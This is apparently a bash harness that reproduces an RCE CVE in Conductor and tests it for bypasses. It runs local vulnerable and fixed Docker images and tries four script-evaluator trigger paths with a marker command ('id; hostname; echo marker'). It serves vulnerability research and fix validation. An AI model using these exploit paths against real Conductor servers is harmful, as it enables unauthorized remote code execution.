#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-58138 - Variant / Bypass analysis
#
# Tests materially-different trigger paths for the same root cause (GraalVM
# script evaluators with full host access on unauthenticated Conductor):
#
#   Variant A: INLINE + evaluatorType=python  -> PythonEvaluator (separate ctx)
#   Variant B: LAMBDA task + scriptExpression -> ScriptEvaluator (alt task type)
#   Variant C: INLINE + evaluatorType=graaljs -> ScriptEvaluator (alias path)
#   Variant D: INLINE + javascript + Java.type() bypass attempt (fixed only)
#
# Structure:
#   Phase 1: VULNERABLE 3.22.3 — run variants A, B, C (expect RCE on all)
#   Phase 2: FIXED 3.30.2     — run variants A, B, C, D (expect all BLOCKED)
#
# Exit 0 = a BYPASS is confirmed (some variant reproduces on the FIXED version)
# Exit 1 = no bypass; variants reproduce on vulnerable only, fix blocks them all
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$VARIANT_DIR" "$ARTIFACTS"

cd "$ROOT"

VULN_IMAGE="conductoross/conductor:3.22.3"
FIXED_IMAGE="conductoross/conductor:3.30.2"
VULN_CONTAINER="conductor-variant-vuln"
FIXED_CONTAINER="conductor-variant-fixed"
CONDUCTOR_PORT="${CONDUCTOR_PORT:-8080}"

RCE_MARKER="PRUVA_VAR_RCE_$(date +%s)"
RCE_MARKER_FILE="/tmp/${RCE_MARKER}.txt"

# ---- helpers ---------------------------------------------------------------
# log() writes ONLY to the log file + stderr, never stdout, so $(...) captures
# from run_variant stay clean.
log() { printf '[%(%Y-%m-%d_%H:%M:%S)T] %s\n' -1 "$*" >>"$LOGS/vuln_variant_steps.log"; printf '[%(%Y-%m-%d_%H:%M:%S)T] %s\n' -1 "$*" >&2; }
die() { log "ERROR: $*"; exit 1; }

detect_target() {
  local port="$CONDUCTOR_PORT" gw=""
  gw=$(ip route 2>/dev/null | awk '/^default/{print $3; exit}')
  if [ -n "$gw" ] && curl -s -m 3 -o /dev/null -w "" "http://$gw:$port/" 2>/dev/null; then
    echo "$gw:$port"; return 0
  fi
  if curl -s -m 3 -o /dev/null -w "" "http://127.0.0.1:$port/" 2>/dev/null; then
    echo "127.0.0.1:$port"; return 0
  fi
  if [ -n "$gw" ]; then echo "$gw:$port"; return 0; fi
  echo "127.0.0.1:$port"
}

wait_health() {
  local target="$1" name="$2" max="${3:-60}"
  log "waiting for $name health at http://$target/health ..."
  local code="000"
  for i in $(seq 1 "$max"); do
    code=$(curl -s -m 4 -o /dev/null -w "%{http_code}" "http://$target/health" 2>/dev/null || true)
    if [ "$code" = "200" ]; then
      log "$name is healthy (HTTP 200) after ~$((i*4))s"
      return 0
    fi
    sleep 4
  done
  log "$name did not become healthy (last code=$code)"
  return 1
}

cleanup_container() { docker rm -f "$1" >/dev/null 2>&1 || true; }

# Run one variant against a target.  Echoes ONLY "True"/"False" on stdout.
# All logging goes to stderr + log file to keep stdout clean for $(...).
# $1=target  $2=variant  $3=label  $4=cmd  $5=out_json
run_variant() {
  local target="$1" variant="$2" label="$3" cmd="$4" out_json="$5"
  log "--- variant $variant ($label) ---"
  python3 "$VARIANT_DIR/variant_exploit.py" "http://$target" "$variant" "$cmd" "$out_json" \
    >"$LOGS/${label}_variant_${variant}.log" 2>&1 || true
  local rce
  rce=$(python3 -c "import json;print(json.load(open('$out_json')).get('rce_confirmed'))" 2>/dev/null || echo False)
  local task_st
  task_st=$(python3 -c "import json;print(json.load(open('$out_json')).get('task_status'))" 2>/dev/null || echo unknown)
  log "variant $variant ($label): rce_confirmed=$rce task_status=$task_st"
  echo "$rce"
}

# Check if marker file exists inside a container.  Echoes marker content or empty.
check_marker() {
  local container="$1"
  if docker exec "$container" cat "$RCE_MARKER_FILE" >/dev/null 2>&1; then
    docker exec "$container" cat "$RCE_MARKER_FILE" 2>/dev/null | tr -d '\n'
  fi
}

# ---- preflight -------------------------------------------------------------
command -v docker >/dev/null 2>&1 || die "docker not found"
command -v curl  >/dev/null 2>&1 || die "curl not found"
command -v python3 >/dev/null 2>&1 || die "python3 not found"

log "=== CVE-2026-58138 variant analysis ==="
log "marker: $RCE_MARKER"

# Ensure images are present
docker pull "$VULN_IMAGE"  >/dev/null 2>&1 || die "failed to pull $VULN_IMAGE"
docker pull "$FIXED_IMAGE" >/dev/null 2>&1 || die "failed to pull $FIXED_IMAGE"

cleanup_container "$VULN_CONTAINER"
cleanup_container "$FIXED_CONTAINER"

# Build the RCE command — writes a marker file AND echoes the marker in-band
RCE_CMD="id; echo $RCE_MARKER; hostname; echo $RCE_MARKER > $RCE_MARKER_FILE"

# ===========================================================================
# Phase 1: VULNERABLE 3.22.3
# ===========================================================================
log ""
log "########## PHASE 1: VULNERABLE Conductor 3.22.3 ##########"
docker run -d --name "$VULN_CONTAINER" --network host "$VULN_IMAGE" >/dev/null
log "started $VULN_CONTAINER"

TARGET=$(detect_target)
log "detected target: $TARGET"

if ! wait_health "$TARGET" "$VULN_CONTAINER" 60; then
  docker logs "$VULN_CONTAINER" >"$LOGS/variant_vuln_container.log" 2>&1 || true
  die "vulnerable conductor did not start"
fi
docker logs "$VULN_CONTAINER" >"$LOGS/variant_vuln_container.log" 2>&1 || true

VULN_A=$(run_variant "$TARGET" "A" "vuln" "$RCE_CMD" "$ARTIFACTS/vuln_variant_A.json")
VULN_B=$(run_variant "$TARGET" "B" "vuln" "$RCE_CMD" "$ARTIFACTS/vuln_variant_B.json")
VULN_C=$(run_variant "$TARGET" "C" "vuln" "$RCE_CMD" "$ARTIFACTS/vuln_variant_C.json")

VULN_MARKER=""
VULN_MARKER=$(check_marker "$VULN_CONTAINER") || true
docker exec "$VULN_CONTAINER" sh -c "ls -l $RCE_MARKER_FILE 2>/dev/null; cat $RCE_MARKER_FILE 2>/dev/null" \
  >"$ARTIFACTS/vuln_variant_marker_check.txt" 2>&1 || true
log "vulnerable marker in container: '${VULN_MARKER}'"

log ""
log "=== VULNERABLE results ==="
log "  A (python):  rce=$VULN_A"
log "  B (lambda):  rce=$VULN_B"
log "  C (graaljs): rce=$VULN_C"
log "  marker file: '${VULN_MARKER}'"

docker stop "$VULN_CONTAINER" >/dev/null 2>&1 || true
cleanup_container "$VULN_CONTAINER"

# ===========================================================================
# Phase 2: FIXED 3.30.2
# ===========================================================================
log ""
log "########## PHASE 2: FIXED Conductor 3.30.2 ##########"
docker run -d --name "$FIXED_CONTAINER" --network host "$FIXED_IMAGE" >/dev/null
log "started $FIXED_CONTAINER"

if ! wait_health "$TARGET" "$FIXED_CONTAINER" 60; then
  docker logs "$FIXED_CONTAINER" >"$LOGS/variant_fixed_container.log" 2>&1 || true
  die "fixed conductor did not start"
fi
docker logs "$FIXED_CONTAINER" >"$LOGS/variant_fixed_container.log" 2>&1 || true

FIXED_A=$(run_variant "$TARGET" "A" "fixed" "$RCE_CMD" "$ARTIFACTS/fixed_variant_A.json")
FIXED_B=$(run_variant "$TARGET" "B" "fixed" "$RCE_CMD" "$ARTIFACTS/fixed_variant_B.json")
FIXED_C=$(run_variant "$TARGET" "C" "fixed" "$RCE_CMD" "$ARTIFACTS/fixed_variant_C.json")
FIXED_D=$(run_variant "$TARGET" "D" "fixed" "$RCE_CMD" "$ARTIFACTS/fixed_variant_D.json")

FIXED_MARKER=""
FIXED_MARKER=$(check_marker "$FIXED_CONTAINER") || true
docker exec "$FIXED_CONTAINER" sh -c "ls -l $RCE_MARKER_FILE 2>/dev/null; cat $RCE_MARKER_FILE 2>/dev/null" \
  >"$ARTIFACTS/fixed_variant_marker_check.txt" 2>&1 || true
log "fixed marker in container: '${FIXED_MARKER}'"

log ""
log "=== FIXED results ==="
log "  A (python):       rce=$FIXED_A"
log "  B (lambda):       rce=$FIXED_B"
log "  C (graaljs):      rce=$FIXED_C"
log "  D (java.type()):  rce=$FIXED_D"
log "  marker file:      '${FIXED_MARKER}'"

docker stop "$FIXED_CONTAINER" >/dev/null 2>&1 || true
cleanup_container "$FIXED_CONTAINER"

# ===========================================================================
# Verdict
# ===========================================================================
log ""
log "=== VERDICT ==="

BYPASS_FOUND=false
if [ "$FIXED_A" = "True" ] || [ "$FIXED_B" = "True" ] || [ "$FIXED_C" = "True" ] || [ "$FIXED_D" = "True" ] || [ -n "$FIXED_MARKER" ]; then
  BYPASS_FOUND=true
  log ">>> BYPASS FOUND: a variant reproduces on the FIXED 3.30.2 version"
  [ "$FIXED_A" = "True" ] && log "  - Variant A (python) bypassed the fix"
  [ "$FIXED_B" = "True" ] && log "  - Variant B (lambda) bypassed the fix"
  [ "$FIXED_C" = "True" ] && log "  - Variant C (graaljs) bypassed the fix"
  [ "$FIXED_D" = "True" ] && log "  - Variant D (Java.type) bypassed the fix"
  [ -n "$FIXED_MARKER" ] && log "  - Marker file written inside fixed container"
else
  log ">>> NO BYPASS: all variants blocked on FIXED 3.30.2"
fi

VULN_COUNT=0
[ "$VULN_A" = "True" ] && VULN_COUNT=$((VULN_COUNT+1))
[ "$VULN_B" = "True" ] && VULN_COUNT=$((VULN_COUNT+1))
[ "$VULN_C" = "True" ] && VULN_COUNT=$((VULN_COUNT+1))
log "variants reproduced on vulnerable: $VULN_COUNT of 3"

# Write summary JSON (args: out, vuln_a-c, fixed_a-d, vuln_marker, fixed_marker, bypass)
python3 - "$ARTIFACTS/variant_summary.json" \
  "$VULN_A" "$VULN_B" "$VULN_C" \
  "$FIXED_A" "$FIXED_B" "$FIXED_C" "$FIXED_D" \
  "$VULN_MARKER" "$FIXED_MARKER" "$BYPASS_FOUND" <<'PYEOF'
import json, sys
a = sys.argv
summary = {
    "bypass_found": a[11] == "true",
    "vuln_results":  {"A_python": a[2], "B_lambda": a[3], "C_graaljs": a[4]},
    "fixed_results": {"A_python": a[5], "B_lambda": a[6], "C_graaljs": a[7], "D_java_type": a[8]},
    "vuln_marker":  a[9],
    "fixed_marker": a[10],
}
with open(a[1], "w") as f:
    json.dump(summary, f, indent=2)
print(json.dumps(summary, indent=2))
PYEOF
log "summary written to artifacts/variant_summary.json"

if [ "$BYPASS_FOUND" = "true" ]; then
  exit 0
else
  exit 1
fi
